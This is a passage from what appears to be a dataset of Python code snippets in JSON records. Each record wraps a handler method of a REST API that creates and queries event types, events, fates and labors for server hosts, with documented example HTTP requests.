\"ok\",\n \"id\": 1,\n \"category\": \"system-reboot\",\n \"state\": \"required\",\n \"description\": \"This system requires a reboot\",\n \"events\": [],\n \"autoCreates\": [],\n \"autoCompletes\": []\n \"limit\": 10,\n \"offset\": 0\n }\n\n :param id: id of the EventType to retrieve\n :type id: int\n\n :query string expand: (*optional*) supports events, fates\n :query int limit: (*optional*) Limit result of child resources.\n :query int offset: (*optional*) Skip the first N child resources.\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n :statuscode 404: The EventType was not found.\n \"\"\"\n offset, limit, expand = self.get_pagination_values()\n event_type = (\n self.session.query(EventType).filter_by(id=id).scalar()\n )\n if not event_type:\n raise exc.NotFound(\"No such EventType {} found\".format(id))\n\n json = event_type.to_dict(self.href_prefix)\n json[\"limit\"] = limit\n json[\"offset\"] = offset\n\n # We will perform expansion of events here b/c we want to apply\n # limits and offsets\n events = []\n for event in (\n event_type.get_latest_events().limit(limit).offset(offset)\n .from_self().order_by(Event.timestamp).all()\n ):\n if \"events\" in expand:\n events.append(\n event.to_dict(\n base_uri=self.href_prefix, expand=set(expand)\n )\n )\n else:\n events.append({\n \"id\": event.id, \"href\": event.href(self.href_prefix)\n })\n json[\"events\"] = events\n\n self.success(json)", "metadata": "root.EventTypeHandler.get", "header": "['class', 'EventTypeHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 688 }, { "content": " def put(self, id):\n \"\"\"**Update an EventType**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n PUT /api/v1/eventtypes/1/ HTTP/1.1\n Host: localhost\n Content-Type: application/json\n\n {\n \"description\": \"New description\",\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 1,\n \"href\": \"/api/v1/eventtypes/1\",\n \"category\": \"system-reboot\",\n \"state\": \"required\",\n \"description\": \"New description\",\n }\n\n :param id: id of the EventType that should be updated.\n :type id: string\n\n :reqjson string description: The new description of the EventType.\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :statuscode 200: The request was successful.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 403: The request was made with insufficient permissions.\n :statuscode 404: The EventType was not found.\n :statuscode 409: There was a conflict with another resource.\n \"\"\"\n\n log.info(\"EVENTTYPE: Updating {}\".format(id))\n\n event_type = (\n self.session.query(EventType).filter_by(id=id).scalar()\n )\n if not event_type:\n raise exc.NotFound(\"No such EventType {} found\".format(id))\n\n try:\n description = self.jbody[\"description\"]\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message)\n )\n\n try:\n event_type.update(\n description=description,\n )\n except IntegrityError as err:\n raise exc.Conflict(str(err.orig))\n\n json = event_type.to_dict(self.href_prefix)\n\n self.success(json)\n\n log.info(\"EVENTTYPE: Updated {} with desc {}\".format(id, description))", "metadata": "root.EventTypeHandler.put", "header": "['class', 'EventTypeHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 761 }, { "content": " def delete(self, id):\n \"\"\"**Delete an EventType**\n\n *Not supported*\n \"\"\"\n self.not_supported()", "metadata": "root.EventTypeHandler.delete", "header": "['class', 'EventTypeHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 836 }, { "content": "class EventsHandler(ApiHandler):\n", "metadata": "root.EventsHandler", "header": "['module', '___EOS___']", "index": 844 }, { "content": " def post(self):\n \"\"\"**Create an Event entry**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n POST /api/v1/events HTTP/1.1\n Host: localhost\n Content-Type: application/json\n {\n \"hostname\": \"example\",\n \"user\": \"johnny\",\n \"eventTypeId\": 3,\n \"note\": \"Sample description\"\n }\n\n or\n\n .. sourcecode:: http\n\n POST /api/v1/events HTTP/1.1\n Host: localhost\n Content-Type: application/json\n {\n \"hostname\": \"example\",\n \"user\": \"johnny\",\n \"category\": \"system-reboot\",\n \"state\": \"completed\",\n \"note\": \"Sample description\"\n }\n\n or\n\n .. sourcecode:: http\n\n POST /api/v1/events HTTP/1.1\n Host: localhost\n Content-Type: application/json\n {\n \"hostQuery\": \"tag=value\",\n \"user\": \"johnny\",\n \"eventTypeId\": 3,\n \"note\": \"Sample description\"\n }\n\n or\n\n .. sourcecode:: http\n\n POST /api/v1/events HTTP/1.1\n Host: localhost\n Content-Type: application/json\n {\n \"questId\": 1,\n \"user\": \"johnny\",\n \"eventTypeId\": 3,\n \"note\": \"Sample description\"\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 201 OK\n Location: /api/v1/events/1\n\n {\n \"status\": \"created\",\n \"id\": 1,\n \"href\": \"/api/v1/events/1\",\n \"hostname\": \"example\",\n \"user\": \"johnny\",\n \"eventTypeId\": 3,\n \"note\": \"Sample description\"\n }\n\n or\n\n .. sourcecode:: http\n\n HTTP/1.1 201 OK\n Location: /api/v1/events/1\n\n {\n \"status\": \"created\",\n \"events\": [{\n \"id\": 1,\n \"href\": \"/api/v1/events/1\",\n \"hostname\": \"example\",\n \"user\": \"johnny\",\n \"eventTypeId\": 3,\n \"note\": \"Sample description\"\n },\n ...\n ]\n }\n\n :reqjson string hostname: (*optional*) The hostname of the Host of this Event\n :regjson string hostnames: (*optional*) The list of hostnames for which we want to throw this Event\n :reqjson string hostQuery: (*optional*) The external query to run to get Hosts for which to create Events\n :regjson int questId: (*optional*) The Quest ID which has hosts for which we want to create Events\n :regjson string user: The user responsible for throwing this Event\n :regjson int eventTypeId: The id of the EventType\n :regjson string category: the category to use for the event\n :regjson string state: the state to use for the event\n :regjson string note: (*optional*) The human readable note describing this Event\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :resheader Location: URL to the created resource.\n\n :statuscode 201: The Event was successfully created.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 409: There was a conflict with another resource.\n \"\"\"\n\n # we need a unique tx number so we can look these back up again\n # as well as for logging\n # FIXME: how can we guarantee uniqueness here?\n tx = int(time.time() * 100000) + random.randrange(10000, 99999)\n\n log.info(\"EVENTS [{}]: Creating events\".format(tx))\n\n try:\n user = self.jbody[\"user\"]\n if not EMAIL_REGEX.match(user):\n user += \"@\" + self.domain\n event_type_id = self.jbody.get(\"eventTypeId\", None)\n category = self.jbody.get(\"category\", None)\n state = self.jbody.get(\"state\", None)\n note = self.jbody.get(\"note\", None)\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message)\n )\n except ValueError as err:\n raise exc.BadRequest(err.message)\n\n if not event_type_id and (not category and not state):\n raise exc.BadRequest(\n \"Must specify an event type id or both category and state\"\n )\n\n if event_type_id:\n event_type = self.session.query(EventType).get(event_type_id)\n else:\n event_type = self.session.query(EventType).filter(\n and_(\n EventType.category == category,\n EventType.state == state\n )\n ).one()\n\n if event_type is None:\n self.write_error(400, message=\"Bad event type\")\n return\n\n category = event_type.category\n state = event_type.state\n\n hostnames = (\n [self.jbody.get(\"hostname\", None)]\n if self.jbody.get(\"hostname\", None) else []\n )\n\n if \"hostnames\" in self.jbody:\n hostnames.extend(self.jbody.get(\"hostnames\"))\n\n log.info(\n \"EVENTS [{}]: Will create event {} {}\".format(\n tx, category, state\n )\n )\n\n log.info(\n \"EVENTS [{}]: Hostnames specified: {}\".format(\n tx, \", \".join(hostnames)\n )\n )\n\n # If a host query was specified, we need to talk to the external\n # query server to resolve this into a list of hostnames\n if \"hostQuery\" in self.jbody:\n query = self.jbody[\"hostQuery\"]\n log.info(\"EVENTS [{}]: Running query {}\".format(tx, query))\n response = PluginHelper.request_get(params={\"query\": query})\n if response.json()[\"status\"] == \"ok\":\n hostnames.extend(response.json()[\"results\"])\n log.info(\n \"EVENTS [{}]: Hostnames after query: {}\".format(\n tx, \", \".join(hostnames)\n )\n )\n\n # If a quest Id was given, look up the labors in that quest and\n # get all the hostnames for those labors.\n if \"questId\" in self.jbody:\n log.info(\"EVENTS [{}]: Looking up quest {}\".format(\n tx, self.jbody[\"questId\"])\n )\n quest = self.session.query(Quest).filter_by(\n id=self.jbody[\"questId\"]\n ).scalar()\n if not quest:\n raise exc.NotFound(\"No such Quest {} found\".format(id))\n for labor in quest.labors:\n hostnames.append(labor.host.hostname)\n\n log.info(\n \"EVENTS [{}]: Hostnames after quest expansion: {}\".format(\n tx, \", \".join(hostnames)\n )\n )\n\n # We need to create a list of hostnames that don't have a Host record\n new_hosts_needed = set(hostnames)\n hosts = (\n self.session.query(Host).filter(Host.hostname.in_(hostnames)).all()\n )\n\n for host in hosts:\n new_hosts_needed.remove(str(host.hostname))\n\n # if we need to create hosts, do them all at once\n if new_hosts_needed:\n log.info(\"EVENTS [{}]: Creating hosts {}\".format(\n tx, \", \".join(new_hosts_needed)\n ))\n Host.create_many(self.session, new_hosts_needed)\n hosts = (\n self.session.query(Host).filter(\n Host.hostname.in_(hostnames)\n ).all()\n )\n\n if not hosts:\n raise exc.BadRequest(\"No hosts found with given list\")\n\n try:\n if len(hosts) > 1:\n # if we are supposed to create many events,\n # we want to do them as a giant batch\n log.info(\"EVENTS [{}]: Creating multiple events\".format(tx))\n events_to_create = []\n for host in hosts:\n events_to_create.append({\n \"host_id\": host.id,\n \"user\": user,\n \"event_type_id\": event_type.id,\n \"note\": note,\n \"tx\": tx\n })\n Event.create_many(self.session, events_to_create, tx)\n else:\n # if we are just creating one event, do it the simple way\n log.info(\"EVENTS [{}]: Creating 1 event\".format(tx))\n event = Event.create(\n self.session, hosts[0], user, event_type, note=note\n )\n\n except IntegrityError as err:\n raise exc.Conflict(err.orig.message)\n except exc.ValidationError as err:\n raise exc.BadRequest(err.message)\n\n log.info(\"EVENTS [{}]: Flushing and committing\".format(tx))\n self.session.flush()\n log.info(\"EVENTS [{}]: Flushed\".format(tx))\n self.session.commit()\n log.info(\"EVENTS [{}]: Committed\".format(tx))\n\n if len(hosts) == 1:\n json = event.to_dict(self.href_prefix)\n json[\"href\"] = \"/api/v1/events/{}\".format(event.id)\n self.created(\n \"/api/v1/events/{}\".format(event.id), json\n )\n else:\n # if we created many events, we need to look them up by the TX\n # number to figure out what they were since the were created in bulk\n created_events = self.session.query(Event).filter(Event.tx == tx).all()\n self.created(\n data={\n \"events\": (\n [event.to_dict(self.href_prefix) for event in created_events]\n ),\n \"totalEvents\": len(created_events)\n }\n )\n\n log.info(\"EVENTS [{}]: Created event {} {} for {}\".format(\n tx, category, state,\n \", \".join(hostnames)\n ))", "metadata": "root.EventsHandler.post", "header": "['class', 'EventsHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 845 }, { "content": " def get(self):\n \"\"\"**Get all Events**\n\n **Example Request:**\n\n .. sourcecode: http\n\n GET /api/v1/events HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"limit\": 10,\n \"offset\": 0,\n \"totalEvents\": 10,\n \"events\": [\n {\n \"id\": 1,\n \"hostId\": 1,\n \"timestamp\": \"2015-06-01 12:11:01\",\n \"user\": \"jonny\",\n \"eventTypeId\": 1,\n \"note\": \"Event note\",\n },\n ...\n ],\n }\n\n :query int eventTypeId: (*optional/multiple*) Filter Events by EventType id.\n :query int hostId: (*optional*) Filter Events by Host id.\n :query string hostname: (*optional*) Filter Events by Host's hostname\n :query int limit: (*optional*) Limit result to N resources.\n :query int offset: (*optional*) Skip the first N resources.\n :query string after: (*optional*) Only select events at and after a given timestamp\n :query string before: (*optional*) Only select events before a given timestamp\n :query int afterEventType: (*optional*) Only select events at and after the last event of a given event type\n :query string hostQuery: (*optional*) Only select events that match a given host query\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n \"\"\"\n\n event_type_id = self.get_arguments(\"eventTypeId\")\n host_id = self.get_argument(\"hostId\", None)\n hostname = self.get_argument(\"hostname\", None)\n after_event_type = self.get_argument(\"afterEventType\", None)\n host_query = self.get_argument(\"hostQuery\", None)\n\n after_time = self.get_argument(\"after\", None)\n if after_time:\n after_time = parser.parse(after_time, yearfirst=True)\n after_time = after_time.replace(tzinfo=None)\n \n before_time = self.get_argument(\"before\", None)\n if before_time:\n before_time = parser.parse(before_time, yearfirst=True)\n before_time = before_time.replace(tzinfo=None)\n\n events = self.session.query(Event).order_by(desc(Event.timestamp))\n\n if event_type_id:\n events = events.filter(Event.event_type_id.in_(event_type_id))\n\n if host_id:\n events = events.filter_by(host_id=host_id)\n\n found_host = None\n if hostname:\n try:\n found_host = (\n self.session.query(Host).filter(\n Host.hostname == hostname\n ).one()\n )\n except sqlalchemy.orm.exc.NoResultFound:\n raise exc.BadRequest(\"No host {} found\".format(hostname))\n\n events = events.filter(Event.host == found_host)\n\n hostnames = []\n if host_query:\n response = PluginHelper.request_get(params={\"query\": host_query})\n if (\n response.status_code == 200\n and response.json()[\"status\"] == \"ok\"\n ):\n for hostname in response.json()[\"results\"]:\n hostnames.append(hostname)\n logging.info(\"found host {}\".format(hostname))\n else:\n raise exc.BadRequest(\"Bad host query: {}\".format(host_query))\n\n if hostnames:\n events = (\n events.join(Event.host).filter(Host.hostname.in_(hostnames))\n )\n\n if after_time:\n logging.info(after_time)\n events = events.filter(Event.timestamp >= after_time)\n if before_time:\n logging.info(before_time)\n events = events.filter(Event.timestamp < before_time)\n\n if after_event_type:\n # find most recent event of that type for the given host\n # want all events greater than or equal to the time for that event\n subquery = self.session.query(Event).order_by(desc(Event.timestamp)).filter(Event.event_type_id == after_event_type)\n\n if host_id:\n subquery = subquery.filter_by(host_id=host_id)\n\n if found_host:\n subquery = subquery.filter(Event.host == found_host)\n\n if hostnames:\n subquery = (\n subquery.join(Event.host).filter(Host.hostname.in_(hostnames))\n )\n\n event = subquery.first()\n if not event:\n raise exc.BadRequest(\"No event of type {} found\".format(after_event_type))\n else:\n events = events.from_self().filter(Event.id >= event.id)\n\n offset, limit, expand = self.get_pagination_values()\n events, total = self.paginate_query(events, offset, limit)\n\n events = events.from_self().order_by(Event.timestamp)\n\n json = {\n \"limit\": limit,\n \"offset\": offset,\n \"totalEvents\": total,\n \"events\": [\n event.to_dict(base_uri=self.href_prefix, expand=set(expand))\n for event in events.all()\n ],\n }\n\n self.success(json)", "metadata": "root.EventsHandler.get", "header": "['class', 'EventsHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1143 }, { "content": "class EventHandler(ApiHandler):\n\n", "metadata": "root.EventHandler", "header": "['module', '___EOS___']", "index": 1294 }, { "content": " def get(self, id):\n \"\"\"**Get a specific Event**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/events/1/ HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 1,\n \"hostId\": 1,\n \"timestamp\": \"2015-06-01 12:11:01\",\n \"user\": \"jonny\",\n \"eventTypeId\": 1,\n \"note\": \"Event note\",\n }\n\n :param id: id of the Event to retrieve\n :type id: int\n\n :query string expand: (*optional*) supports hosts, eventtypes\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n :statuscode 404: The EventType was not found.\n \"\"\"\n offset, limit, expand = self.get_pagination_values()\n event = self.session.query(Event).filter_by(id=id).scalar()\n if not event:\n raise exc.NotFound(\"No such Event {} found\".format(id))\n\n json = event.to_dict(base_uri=self.href_prefix, expand=expand)\n\n self.success(json)", "metadata": "root.EventHandler.get", "header": "['class', 'EventHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1295 }, { "content": " def put(self, id):\n \"\"\"**Update an Event**\n\n *Not supported*\n \"\"\"\n self.not_supported()", "metadata": "root.EventHandler.put", "header": "['class', 'EventHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1340 }, { "content": " def delete(self, id):\n \"\"\"**Delete an Event**\n\n *Not supported*\n \"\"\"\n self.not_supported()", "metadata": "root.EventHandler.delete", "header": "['class', 'EventHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1347 }, { "content": "class FatesHandler(ApiHandler):\n\n", "metadata": "root.FatesHandler", "header": "['module', '___EOS___']", "index": 1355 }, { "content": " def post(self):\n \"\"\"**Create a Fate entry**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n POST /api/v1/fates HTTP/1.1\n Host: localhost\n Content-Type: application/json\n {\n \"creationEventTypeId\": 1,\n \"description\": \"This is a fate\",\n \"followsId\": 1,\n \"forCreator\": true,\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 201 OK\n Location: /api/v1/fates/1\n\n {\n \"status\": \"created\",\n \"href\": \"/api/v1/fates/3\",\n \"id\": 3,\n \"creationEventTypeId\": 1,\n \"followsId\": 1,\n \"precedesIds\": [],\n \"forCreator\": true,\n \"description\": \"This is a fate\"\n }\n\n :reqjson int creationEventTypeId: the ID of the EventType that triggers this Fate\n :regjson int follows: (*optional*) The ID of the Fate this Fate must come after, or null\n :regjson string description: (*optional*) The human readable description this Fate\n :regjson boolean forOwner: (*optional*) Indicates that Labors created by this Fate\n would be designated for action by the server owner.\n Default: true\n :regjson boolean forCreator: (*optional*) Indicates that Labors created by this Fate\n would be designated for action by the Quest owner.\n Default: false\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :resheader Location: URL to the created resource.\n\n :statuscode 201: The Fate was successfully created.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 409: There was a conflict with another resource.\n \"\"\"\n\n try:\n creation_event_type_id = self.jbody[\"creationEventTypeId\"]\n follows_id = self.jbody.get(\"followsId\")\n for_creator = self.jbody.get(\"forCreator\", False)\n for_owner = self.jbody.get(\"forOwner\", True)\n description = self.jbody[\"description\"]\n except KeyError as err:\n raise exc.BadRequest(\n \"Missing Required Argument: {}\".format(err.message)\n )\n except ValueError as err:\n raise exc.BadRequest(err.message)\n\n log.info(\n \"FATE: Create fate (event-type {}, follows {}, for creator {}, \"\n \"for owner {}, desc {})\".format(\n creation_event_type_id, follows_id,\n for_creator, for_owner, description\n )\n )\n\n creation_event_type = (\n self.session.query(EventType).get(creation_event_type_id)\n )\n\n if creation_event_type is None:\n self.write_error(400, message=\"Bad creation event type\")\n return\n\n try:\n fate = Fate.create(\n self.session, creation_event_type,\n follows_id=follows_id, for_creator=for_creator,\n for_owner=for_owner,\n description=description\n )\n except IntegrityError as err:\n raise exc.Conflict(err.orig.message)\n except exc.ValidationError as err:\n raise exc.BadRequest(err.message)\n\n self.session.commit()\n\n json = fate.to_dict(self.href_prefix)\n json[\"href\"] = \"/api/v1/fates/{}\".format(fate.id)\n\n self.created(\"/api/v1/fates/{}\".format(fate.id), json)\n\n log.info(\n \"FATE: Created fate {} (event-type {}, follows {}, \"\n \"for creator {}, for owner {}, desc {})\".format(\n fate.id,\n creation_event_type_id, follows_id,\n for_creator, for_owner, description\n )\n )", "metadata": "root.FatesHandler.post", "header": "['class', 'FatesHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1357 }, { "content": " def get(self):\n \"\"\"**Get all Fates**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/fates HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"limit\": 10,\n \"offset\": 0,\n \"totalFates\": 3,\n \"fates\": [\n {\n \"id\": 1,\n \"href\": \"/api/v1/fates/1\",\n \"creationEventTypeId\": 1,\n \"followsId\": null,\n \"precedesIds\": [],\n \"forCreator\": 0,\n \"precedesIds\": [3, 5],\n \"description\": \"This is a fate\",\n },\n ...\n ],\n }\n\n :query int limit: (*optional*) Limit result to N resources.\n :query int offset: (*optional*) Skip the first N resources.\n\n :query string expand: (*optional*) supports eventtypes\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n \"\"\"\n fates = self.session.query(Fate).order_by(Fate.id)\n\n offset, limit, expand = self.get_pagination_values()\n fates, total = self.paginate_query(fates, offset, limit)\n\n fates_json = [\n fate.to_dict(base_uri=self.href_prefix, expand=set(expand))\n for fate in fates.all()\n ]\n\n json = {\n \"limit\": limit,\n \"offset\": offset,\n \"totalFates\": total,\n \"fates\": fates_json,\n }\n\n self.success(json)", "metadata": "root.FatesHandler.get", "header": "['class', 'FatesHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1470 }, { "content": "class FateHandler(ApiHandler):\n\n", "metadata": "root.FateHandler", "header": "['module', '___EOS___']", "index": 1534 }, { "content": " def get(self, id):\n \"\"\"**Get a specific Fate**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/fates/1/ HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 1,\n \"href\": \"/api/v1/fates/1\",\n \"creationEventTypeId\": 1,\n \"followsId\": null,\n \"precedesIds\": [],\n \"forCreator\": false,\n \"forOwner\": true,\n \"description\": string,\n }\n\n :param id: id of the Fate to retrieve\n :type id: int\n\n :query string expand: (*optional*) supports eventtypes\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n :statuscode 404: The Fate was not found.\n \"\"\"\n offset, limit, expand = self.get_pagination_values()\n fate = self.session.query(Fate).filter_by(id=id).scalar()\n if not fate:\n raise exc.NotFound(\"No such Fate {} found\".format(id))\n\n json = fate.to_dict(base_uri=self.href_prefix, expand=set(expand))\n\n self.success(json)", "metadata": "root.FateHandler.get", "header": "['class', 'FateHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1535 }, { "content": " def put(self, id):\n \"\"\"**Update a Fate**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n PUT /api/v1/fates/3 HTTP/1.1\n Host: localhost\n Content-Type: application/json\n\n {\n \"description\": \"New desc\",\n \"followsId\": 1\n }\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"id\": 3,\n \"href\": \"/api/v1/fates/3\",\n \"creationEventTypeId\": 1,\n \"followsId\": 1,\n \"precedesId\": [],\n \"forCreator\": false,\n \"forOwner\": true\n \"description\": \"New desc\"\n }\n\n :param id: id of the Fate that should be updated.\n :type id: string\n\n :reqjson string description: The new description of this Fate.\n :reqjson boolean intermediate: The new intermediate flag value.\n\n :reqheader Content-Type: The server expects a json body specified with\n this header.\n\n :statuscode 200: The request was successful.\n :statuscode 400: The request was malformed.\n :statuscode 401: The request was made without being logged in.\n :statuscode 403: The request was made with insufficient permissions.\n :statuscode 404: The Fate was not found.\n :statuscode 409: There was a conflict with another resource.\n \"\"\"\n\n log.info(\"FATE: Update {}\".format(id))\n\n fate = self.session.query(Fate).filter_by(id=id).scalar()\n if not fate:\n raise exc.NotFound(\"No such Fate {} found\".format(id))\n\n try:\n if \"description\" in self.jbody:\n fate = fate.update(description=self.jbody[\"description\"])\n if \"followsId\" in self.jbody:\n fate = fate.update(follows_id=self.jbody['followsId'])\n\n except IntegrityError as err:\n raise exc.Conflict(str(err.orig))\n\n json = fate.to_dict(self.href_prefix)\n\n self.success(json)", "metadata": "root.FateHandler.put", "header": "['class', 'FateHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1582 }, { "content": " def delete(self, id):\n \"\"\"**Delete a Fate**\n\n *Not supported*\n \"\"\"\n self.not_supported()", "metadata": "root.FateHandler.delete", "header": "['class', 'FateHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1653 }, { "content": "class LaborsHandler(ApiHandler):\n\n", "metadata": "root.LaborsHandler", "header": "['module', '___EOS___']", "index": 1661 }, { "content": " def post(self):\n \"\"\"**Create a Labor entry**\n\n *Not supported. Labors are only created by Fates.*\n \"\"\"\n self.not_supported()", "metadata": "root.LaborsHandler.post", "header": "['class', 'LaborsHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1663 }, { "content": " def get(self):\n \"\"\"**Get all Labors**\n\n **Example Request:**\n\n .. sourcecode:: http\n\n GET /api/v1/labors HTTP/1.1\n Host: localhost\n\n **Example response:**\n\n .. sourcecode:: http\n\n HTTP/1.1 200 OK\n Content-Type: application/json\n\n {\n \"status\": \"ok\",\n \"limit\": int,\n \"offset\": int,\n \"totalFates\": int,\n \"labors\": [\n {\n \"id\": 23,\n \"startingLaborId\": null,\n \"href\": \"/api/v1/labors/23\",\n \"for_owner\": false,\n \"for_creator\": true,\n \"questId\": 5,\n \"hostId\": 26,\n \"creationTime\": timestamp,\n \"ackTime\": timestamp,\n \"targetTime\": timestamp\n \"ackUser\": string,\n \"completionTime\": timestamp,\n \"creationEventId\": 127,\n \"completionEventId\": 212,\n },\n ...\n ],\n }\n\n :query string hostname: (*optional*) filter Labors by a particular hostname\n :query string startingLaborId: (*optional*) get Labors by the Id or the Id of the starting labor\n :query string hostQuery: (*optional*) the query to send to the plugin to come up with the list of hostnames\n :query string userQuery: (*optional*) get labors for machines owned by this user or for which this user is responsible\n :query string category: (*optional*) limit labors to ones where the starting event type is of this category\n :query string state: (*optional*) limit labors to ones where the starting event type is of this state\n :query boolean open: if true, filter Labors to those still open\n :query int questId: the id of the quest we want to filter by\n :query string expand: (*optional*) supports hosts, eventtypes, events, quests\n :query int limit: (*optional*) Limit result to N resources.\n :query int offset: (*optional*) Skip the first N resources.\n\n :statuscode 200: The request was successful.\n :statuscode 401: The request was made without being logged in.\n \"\"\"\n hostname = self.get_argument(\"hostname\", None)\n starting_labor_id = self.get_argument(\"startingLaborId\", None)\n open_flag = self.get_argument(\"open\", None)\n quest_id = self.get_argument(\"questId\", None)\n host_query = self.get_argument(\"hostQuery\", None)\n user_query = self.get_argument(\"userQuery\", None)\n category = self.get_argument(\"category\", None)\n state = self.get_argument(\"state\", None)\n\n labors = self.session.query(Labor)\n\n # if filtering by category or state, find the event types that match\n # these conditions and add them to the query\n if category or state:\n event_types = self.session.query(EventType)\n if category:\n event_types = event_types.filter(\n EventType.category == category\n )\n if state:\n event_types = event_types.filter(\n EventType.state == state\n )\n valid_event_types = [event_type.id for event_type in event_types]\n labors = labors.join(Labor.creation_event).join(Event.event_type).filter(\n EventType.id.in_(valid_event_types)\n )\n\n # if specifying to filter by open or closed state, add that to the query\n if open_flag and open_flag.lower() == \"true\":\n labors = labors.filter(Labor.completion_event_id == None)\n if open_flag and open_flag.lower() == \"false\":\n labors = labors.filter(Labor.completion_event_id != None)\n\n if quest_id:\n labors = labors.filter(Labor.quest_id == quest_id)\n\n if starting_labor_id:\n labors = labors.filter(or_(\n Labor.id == starting_labor_id,\n Labor.starting_labor_id == starting_labor_id\n ))\n\n # if user wants to filter by a specific host, verify that the host is\n # good and add that to the query\n if hostname is not None:\n try:\n host = (\n self.session.query(Host).filter(\n Host.hostname == hostname\n ).one()\n )\n except sqlalchemy.orm.exc.NoResultFound:\n raise exc.BadRequest(\"No host {} found\".format(hostname))\n\n labors = (\n labors.filter(Labor.host == host)\n .order_by(desc(Labor.creation_time))\n )\n\n # if the user specified a host query, we need to translate that into a\n # list of hostnames to use.\n host_query_hostnames = []\n if host_query:\n response = PluginHelper.request_get(params={\"query\": host_query})\n if (\n response.status_code == 200\n and response.json()[\"status\"] == \"ok\"\n ):\n # FIXME -- couldn't this just be hostnames.extend?\n for hostname in response.json()[\"results\"]:\n host_query_hostnames.append(hostname)\n else:\n raise exc.BadRequest(\"Bad host query: {}\".format(host_query))\n\n # if the user wants to filter by user, let's first find the hostnames\n # of machines the user would be responsible for\n user_query_hostnames = []\n user_created_quests = []\n if user_query:\n response = PluginHelper.request_get(params={\"user\": user_query})\n if (\n response.status_code == 200\n and response.json()[\"status\"] == \"ok\"\n ):\n for hostname in response.json()[\"results\"]:\n user_query_hostnames.append(hostname)\n else:\n raise exc.BadRequest(\"Bad user query: {}\".format(user_query))\n\n user_created_quests =[\n quest.id for quest in\n (\n self.session.query(Quest).filter(\n Quest.creator == user_query\n ).all()\n )\n ]\n\n # since we may have used multiple ways to get hostname lists, compile\n # into a final list of hostnames we care about\n hostnames = []\n if host_query and user_query:\n hostnames = list(\n set(host_query_hostnames) & set(user_query_hostnames)\n )\n elif host_query:\n hostnames = host_query_hostnames\n elif user_query:\n hostnames = user_query_hostnames\n\n # if we are just doing a simple host_query, we can just filter by\n # the hostnames we collected. Otherwise, if we are doing a user_query\n # we need not just hosts owned by the user, but also labors that belong\n # to a quest creator that matches the user name\n if host_query or user_query:\n if not hostnames:\n raise exc.BadRequest(\"Querying on 0 hosts\")\n\n hosts = (\n self.session.query(Host).filter(\n Host.hostname.in_(hostnames)\n )\n )\n host_ids = [host.id for host in hosts]\n if not user_query:\n labors = labors.filter(and_(\n Labor.host_id.in_(host_ids),\n Labor.for_owner == 1\n ))\n elif hostnames and user_query:\n labors = labors.filter(or_(\n and_(\n Labor.host_id.in_(host_ids),\n Labor.for_owner == 1\n ),\n and_(\n Labor.for_creator == 1,\n Labor.quest_id.in_(user_created_quests)\n )\n ))\n\n offset, limit, expand = self.get_pagination_values()\n labors, total = self.paginate_query(labors, offset, limit)\n\n labors = labors.from_self().order_by(Labor.creation_time)\n\n json = {\n \"limit\": limit,\n \"offset\": offset,\n \"totalLabors\": total,\n \"labors\": [\n labor.to_dict(\n base_uri=self.href_prefix, expand=set(expand)\n ) for labor in labors\n ],\n }\n\n self.success(json)", "metadata": "root.LaborsHandler.get", "header": "['class', 'LaborsHandler', '(', 'ApiHandler', ')', ':', '___EOS___']", "index": 1670 }, { "content": "class 